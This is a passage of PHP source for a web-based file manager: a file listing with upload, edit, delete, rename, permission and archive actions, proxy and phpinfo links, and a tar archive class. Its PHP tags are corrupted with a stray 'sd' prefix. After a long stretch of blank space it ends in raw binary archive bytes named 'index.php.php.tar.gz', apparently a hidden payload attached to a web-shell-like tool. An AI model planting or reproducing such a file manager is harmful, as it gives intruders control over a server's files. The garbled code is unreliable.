		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
